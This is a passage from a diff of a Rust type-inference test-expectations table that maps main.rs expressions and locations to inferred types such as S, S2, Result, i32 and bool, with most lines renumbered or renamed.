main.rs:1057:5:1058:19 | S | +| main.rs:1091:18:1091:23 | &... | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1091:19:1091:23 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1091:19:1091:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1091:21:1091:22 | S2 | | main.rs:1060:5:1061:14 | S2 | | main.rs:1093:18:1093:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1093:26:1093:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:1093:26:1093:27 | x5 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1093:26:1093:27 | x5 | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1093:26:1093:32 | x5.m1() | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1093:26:1093:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1093:26:1093:27 | x4 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1093:26:1093:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1093:26:1093:32 | x4.m2() | | file://:0:0:0:0 | & | +| main.rs:1093:26:1093:32 | x4.m2() | &T | main.rs:1060:5:1061:14 | S2 | | main.rs:1094:18:1094:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1094:26:1094:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:1094:26:1094:27 | x5 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1094:26:1094:27 | x5 | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1094:26:1094:29 | x5.0 | | main.rs:1055:5:1056:14 | S2 | -| main.rs:1096:13:1096:14 | x6 | | file://:0:0:0:0 | & | -| main.rs:1096:13:1096:14 | x6 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1096:13:1096:14 | x6 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1094:26:1094:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1094:26:1094:27 | x4 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1094:26:1094:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1094:26:1094:32 | x4.m3() | | file://:0:0:0:0 | & | +| main.rs:1094:26:1094:32 | x4.m3() | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1096:13:1096:14 | x5 | | file://:0:0:0:0 | & | +| main.rs:1096:13:1096:14 | x5 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1096:13:1096:14 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1096:18:1096:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1096:18:1096:23 | &... | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1096:18:1096:23 | &... | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1096:19:1096:23 | S(...) | | main.rs:1052:5:1053:19 | S | -| main.rs:1096:19:1096:23 | S(...) | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1096:21:1096:22 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1096:18:1096:23 | &... | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1096:18:1096:23 | &... | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1096:19:1096:23 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1096:19:1096:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1096:21:1096:22 | S2 | | main.rs:1060:5:1061:14 | S2 | | main.rs:1098:18:1098:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1098:26:1098:30 | (...) | | main.rs:1052:5:1053:19 | S | -| main.rs:1098:26:1098:30 | (...) | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1098:26:1098:35 | ... .m1() | | main.rs:1055:5:1056:14 | S2 | -| main.rs:1098:27:1098:29 | * ... | | main.rs:1052:5:1053:19 | S | -| main.rs:1098:27:1098:29 | * ... | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1098:28:1098:29 | x6 | | file://:0:0:0:0 | & | -| main.rs:1098:28:1098:29 | x6 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1098:28:1098:29 | x6 | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1100:13:1100:14 | x7 | | main.rs:1052:5:1053:19 | S | -| main.rs:1100:13:1100:14 | x7 | T | file://:0:0:0:0 | & | -| main.rs:1100:13:1100:14 | x7 | T.&T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1100:18:1100:23 | S(...) | | main.rs:1052:5:1053:19 | S | -| main.rs:1100:18:1100:23 | S(...) | T | file://:0:0:0:0 | & | -| main.rs:1100:18:1100:23 | S(...) | T.&T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1100:20:1100:22 | &S2 | | file://:0:0:0:0 | & | -| main.rs:1100:20:1100:22 | &S2 | &T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1100:21:1100:22 | S2 | | main.rs:1055:5:1056:14 | S2 | -| main.rs:1103:13:1103:13 | t | | file://:0:0:0:0 | & | -| main.rs:1103:13:1103:13 | t | &T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1103:17:1103:18 | x7 | | main.rs:1052:5:1053:19 | S | -| main.rs:1103:17:1103:18 | x7 | T | file://:0:0:0:0 | & | -| main.rs:1103:17:1103:18 | x7 | T.&T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1103:17:1103:23 | x7.m1() | | file://:0:0:0:0 | & | -| main.rs:1103:17:1103:23 | x7.m1() | &T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1104:18:1104:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1104:26:1104:27 | x7 | | main.rs:1052:5:1053:19 | S | -| main.rs:1104:26:1104:27 | x7 | T | file://:0:0:0:0 | & | -| main.rs:1104:26:1104:27 | x7 | T.&T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1111:16:1111:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1111:16:1111:20 | SelfParam | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | -| main.rs:1114:16:1114:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1114:16:1114:20 | SelfParam | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | -| main.rs:1114:32:1116:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1114:32:1116:9 | { ... } | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | -| main.rs:1115:13:1115:16 | self | | file://:0:0:0:0 | & | -| main.rs:1115:13:1115:16 | self | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | -| main.rs:1115:13:1115:22 | self.foo() | | file://:0:0:0:0 | & | -| main.rs:1115:13:1115:22 | self.foo() | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | -| main.rs:1123:16:1123:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1123:16:1123:20 | SelfParam | &T | main.rs:1119:5:1119:20 | MyStruct | -| main.rs:1123:36:1125:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1123:36:1125:9 | { ... } | &T | main.rs:1119:5:1119:20 | MyStruct | -| main.rs:1124:13:1124:16 | self | | file://:0:0:0:0 | & | -| main.rs:1124:13:1124:16 | self | &T | main.rs:1119:5:1119:20 | MyStruct | -| main.rs:1129:13:1129:13 | x | | main.rs:1119:5:1119:20 | MyStruct | -| main.rs:1129:17:1129:24 | MyStruct | | main.rs:1119:5:1119:20 | MyStruct | -| main.rs:1130:9:1130:9 | x | | main.rs:1119:5:1119:20 | MyStruct | -| main.rs:1130:9:1130:15 | x.bar() | | file://:0:0:0:0 | & | -| main.rs:1130:9:1130:15 | x.bar() | &T | main.rs:1119:5:1119:20 | MyStruct | -| main.rs:1140:16:1140:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1140:16:1140:20 | SelfParam | &T | main.rs:1137:5:1137:26 | MyStruct | -| main.rs:1140:16:1140:20 | SelfParam | &T.T | main.rs:1139:10:1139:10 | T | -| main.rs:1140:32:1142:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1140:32:1142:9 | { ... } | &T | main.rs:1137:5:1137:26 | MyStruct | -| main.rs:1140:32:1142:9 | { ... } | &T.T | main.rs:1139:10:1139:10 | T | -| main.rs:1141:13:1141:16 | self | | file://:0:0:0:0 | & | -| main.rs:1141:13:1141:16 | self | &T | main.rs:1137:5:1137:26 | MyStruct | -| main.rs:1141:13:1141:16 | self | &T.T | main.rs:1139:10:1139:10 | T | -| main.rs:1146:13:1146:13 | x | | main.rs:1137:5:1137:26 | MyStruct | -| main.rs:1146:13:1146:13 | x | T | main.rs:1135:5:1135:13 | S | -| main.rs:1146:17:1146:27 | MyStruct(...) | | main.rs:1137:5:1137:26 | MyStruct | -| main.rs:1146:17:1146:27 | MyStruct(...) | T | main.rs:1135:5:1135:13 | S | -| main.rs:1146:26:1146:26 | S | | main.rs:1135:5:1135:13 | S | -| main.rs:1147:9:1147:9 | x | | main.rs:1137:5:1137:26 | MyStruct | -| main.rs:1147:9:1147:9 | x | T | main.rs:1135:5:1135:13 | S | -| main.rs:1147:9:1147:15 | x.foo() | | file://:0:0:0:0 | & | -| main.rs:1147:9:1147:15 | x.foo() | &T | main.rs:1137:5:1137:26 | MyStruct | -| main.rs:1147:9:1147:15 | x.foo() | &T.T | main.rs:1135:5:1135:13 | S | -| main.rs:1155:15:1155:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1155:15:1155:19 | SelfParam | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1155:31:1157:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1155:31:1157:9 | { ... } | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1156:13:1156:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1156:13:1156:19 | &... | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1156:14:1156:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1156:14:1156:19 | &... | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1156:15:1156:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1156:15:1156:19 | &self | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1156:16:1156:19 | self | | file://:0:0:0:0 | & | -| main.rs:1156:16:1156:19 | self | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1159:15:1159:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1159:15:1159:25 | SelfParam | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1159:37:1161:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1159:37:1161:9 | { ... } | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1160:13:1160:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1160:13:1160:19 | &... | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1160:14:1160:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1160:14:1160:19 | &... | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1160:15:1160:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1160:15:1160:19 | &self | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1160:16:1160:19 | self | | file://:0:0:0:0 | & | -| main.rs:1160:16:1160:19 | self | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1163:15:1163:15 | x | | file://:0:0:0:0 | & | -| main.rs:1163:15:1163:15 | x | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1163:34:1165:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1163:34:1165:9 | { ... } | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1164:13:1164:13 | x | | file://:0:0:0:0 | & | -| main.rs:1164:13:1164:13 | x | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1167:15:1167:15 | x | | file://:0:0:0:0 | & | -| main.rs:1167:15:1167:15 | x | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1167:34:1169:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1167:34:1169:9 | { ... } | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1168:13:1168:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1168:13:1168:16 | &... | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1168:14:1168:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1168:14:1168:16 | &... | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1168:15:1168:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1168:15:1168:16 | &x | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1168:16:1168:16 | x | | file://:0:0:0:0 | & | -| main.rs:1168:16:1168:16 | x | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1173:13:1173:13 | x | | main.rs:1152:5:1152:13 | S | -| main.rs:1173:17:1173:20 | S {...} | | main.rs:1152:5:1152:13 | S | -| main.rs:1174:9:1174:9 | x | | main.rs:1152:5:1152:13 | S | -| main.rs:1174:9:1174:14 | x.f1() | | file://:0:0:0:0 | & | -| main.rs:1174:9:1174:14 | x.f1() | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1175:9:1175:9 | x | | main.rs:1152:5:1152:13 | S | -| main.rs:1175:9:1175:14 | x.f2() | | file://:0:0:0:0 | & | -| main.rs:1175:9:1175:14 | x.f2() | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1176:9:1176:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:1176:9:1176:17 | ...::f3(...) | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1176:15:1176:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1176:15:1176:16 | &x | &T | main.rs:1152:5:1152:13 | S | -| main.rs:1176:16:1176:16 | x | | main.rs:1152:5:1152:13 | S | -| main.rs:1190:43:1193:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1190:43:1193:5 | { ... } | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1190:43:1193:5 | { ... } | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1191:13:1191:13 | x | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1191:17:1191:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1191:17:1191:30 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1191:17:1191:31 | TryExpr | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1191:28:1191:29 | S1 | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1192:9:1192:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1192:9:1192:22 | ...::Ok(...) | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1192:9:1192:22 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1192:20:1192:21 | S1 | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1196:46:1200:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1196:46:1200:5 | { ... } | E | main.rs:1186:5:1187:14 | S2 | -| main.rs:1196:46:1200:5 | { ... } | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1197:13:1197:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1197:13:1197:13 | x | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1197:17:1197:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1197:17:1197:30 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1197:28:1197:29 | S1 | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1198:13:1198:13 | y | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1198:17:1198:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1198:17:1198:17 | x | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1198:17:1198:18 | TryExpr | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1199:9:1199:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1199:9:1199:22 | ...::Ok(...) | E | main.rs:1186:5:1187:14 | S2 | -| main.rs:1199:9:1199:22 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1199:20:1199:21 | S1 | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1203:40:1208:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1203:40:1208:5 | { ... } | E | main.rs:1186:5:1187:14 | S2 | -| main.rs:1203:40:1208:5 | { ... } | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1204:13:1204:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1204:13:1204:13 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1204:13:1204:13 | x | T.T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1204:17:1204:42 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1204:17:1204:42 | ...::Ok(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1204:17:1204:42 | ...::Ok(...) | T.T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1204:28:1204:41 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1204:28:1204:41 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1204:39:1204:40 | S1 | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1206:17:1206:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1206:17:1206:17 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1206:17:1206:17 | x | T.T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1206:17:1206:18 | TryExpr | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1206:17:1206:18 | TryExpr | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1206:17:1206:29 | ... .map(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1207:9:1207:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1207:9:1207:22 | ...::Ok(...) | E | main.rs:1186:5:1187:14 | S2 | -| main.rs:1207:9:1207:22 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1207:20:1207:21 | S1 | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1211:30:1211:34 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1211:30:1211:34 | input | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1211:30:1211:34 | input | T | main.rs:1211:20:1211:27 | T | -| main.rs:1211:69:1218:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1211:69:1218:5 | { ... } | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1211:69:1218:5 | { ... } | T | main.rs:1211:20:1211:27 | T | -| main.rs:1212:13:1212:17 | value | | main.rs:1211:20:1211:27 | T | -| main.rs:1212:21:1212:25 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1212:21:1212:25 | input | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1212:21:1212:25 | input | T | main.rs:1211:20:1211:27 | T | -| main.rs:1212:21:1212:26 | TryExpr | | main.rs:1211:20:1211:27 | T | -| main.rs:1213:22:1213:38 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1213:22:1213:38 | ...::Ok(...) | T | main.rs:1211:20:1211:27 | T | -| main.rs:1213:22:1216:10 | ... .and_then(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1213:33:1213:37 | value | | main.rs:1211:20:1211:27 | T | -| main.rs:1213:53:1216:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1213:53:1216:9 | { ... } | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1214:22:1214:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1215:13:1215:34 | ...::Ok::<...>(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1215:13:1215:34 | ...::Ok::<...>(...) | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1217:9:1217:23 | ...::Err(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1217:9:1217:23 | ...::Err(...) | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1217:9:1217:23 | ...::Err(...) | T | main.rs:1211:20:1211:27 | T | -| main.rs:1217:21:1217:22 | S1 | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1221:37:1221:52 | try_same_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1221:37:1221:52 | try_same_error(...) | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1221:37:1221:52 | try_same_error(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1222:22:1222:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1225:37:1225:55 | try_convert_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1225:37:1225:55 | try_convert_error(...) | E | main.rs:1186:5:1187:14 | S2 | -| main.rs:1225:37:1225:55 | try_convert_error(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1226:22:1226:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1229:37:1229:49 | try_chained(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1229:37:1229:49 | try_chained(...) | E | main.rs:1186:5:1187:14 | S2 | -| main.rs:1229:37:1229:49 | try_chained(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1230:22:1230:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1233:37:1233:63 | try_complex(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1233:37:1233:63 | try_complex(...) | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1233:37:1233:63 | try_complex(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1233:49:1233:62 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1233:49:1233:62 | ...::Ok(...) | E | main.rs:1183:5:1184:14 | S1 | -| main.rs:1233:49:1233:62 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | -| main.rs:1233:60:1233:61 | S1 | | main.rs:1183:5:1184:14 | S1 | -| main.rs:1234:22:1234:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1241:13:1241:13 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1241:22:1241:22 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1242:13:1242:13 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1242:17:1242:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1243:17:1243:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1243:21:1243:21 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1244:13:1244:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1244:17:1244:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1244:17:1244:23 | x.abs() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1245:13:1245:13 | c | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1245:17:1245:19 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1246:13:1246:17 | hello | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1246:21:1246:27 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1247:13:1247:13 | f | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1247:17:1247:24 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1248:13:1248:13 | t | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1248:17:1248:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1249:13:1249:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1249:17:1249:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1255:13:1255:13 | x | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1255:17:1255:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1255:17:1255:29 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1255:25:1255:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1256:13:1256:13 | y | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1256:17:1256:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1256:17:1256:29 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1256:25:1256:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1258:13:1258:17 | mut a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1259:12:1259:13 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1259:18:1259:19 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1260:17:1260:17 | z | | file://:0:0:0:0 | () | -| main.rs:1260:21:1260:27 | (...) | | file://:0:0:0:0 | () | -| main.rs:1260:22:1260:22 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1260:22:1260:26 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1260:26:1260:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1262:13:1262:13 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1262:13:1262:17 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1262:17:1262:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1264:9:1264:9 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1270:5:1270:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1271:5:1271:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1271:20:1271:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1271:41:1271:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1098:26:1098:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1098:26:1098:27 | x5 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1098:26:1098:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1098:26:1098:32 | x5.m1() | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1099:18:1099:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1099:26:1099:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1099:26:1099:27 | x5 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1099:26:1099:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1099:26:1099:29 | x5.0 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1101:13:1101:14 | x6 | | file://:0:0:0:0 | & | +| 